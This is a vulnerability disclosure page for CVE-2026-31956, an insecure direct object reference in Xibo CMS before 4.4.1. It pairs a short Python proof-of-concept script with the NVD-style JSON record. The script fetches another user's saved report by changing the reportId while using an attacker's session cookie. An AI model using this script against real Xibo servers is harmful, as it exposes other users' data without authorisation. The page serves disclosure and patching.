CVE-2026-31956

import requests # Exploit Title: Xibo CMS < 4.4.1 - IDOR in Report Export # Description: Any authenticated user can export reports belonging to other users by modifying the reportId in the URL. target_url = "https://example-xibo-cms.com" attacker_session_cookie = "PHPSESSID=valid_attacker_session_id" # The ID of the report belonging to another user (e.g., Admin) target_report_id = "1" # Vulnerable endpoint to export a saved report export_url = f"{target_url}/report/export?reportId={target_report_id}" headers = { "Cookie": attacker_session_cookie, "User-Agent": "Mozilla/5.0 (PoC Analyst)" } try: response = requests.get(export_url, headers=headers) if response.status_code == 200 and "attachment" in response.headers.get("Content-Disposition", ""): print("[+] Exploit Successful! Report downloaded.") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # print(response.content) # Uncomment to see raw data else: print("[-] Exploit Failed or Target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-31956", "sourceIdentifier": "[email protected]", "published": "2026-04-24T01:16:11.773", "lastModified": "2026-04-27T14:44:42.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to version 4.4.1, any authenticated user can manually construct a URL to preview campaigns/regions, and export saved reports belonging to other users. Exploitation of the vulnerability is possible on behalf of an authorized user who has any of the following privileges: Page which shows all Layouts that have been created for the purposes of Layout Management; page which shows all Campaigns that have been created for the purposes of Campaign Management; and page which shows all Reports that have been Saved. Users should upgrade to version 4.4.1 which fixes this issue. Upgrading to a fixed version is necessary to remediate."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xibosignage:xibo:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.1", "matchCriteriaId": "57F53EFF-4DF3-46B8-B538-D4D852953280"}]}]}], "references": [{"url": "https://github.com/xibosignage/xibo-cms/releases/tag/4.4.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-q6rv-8hhj-3fr8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}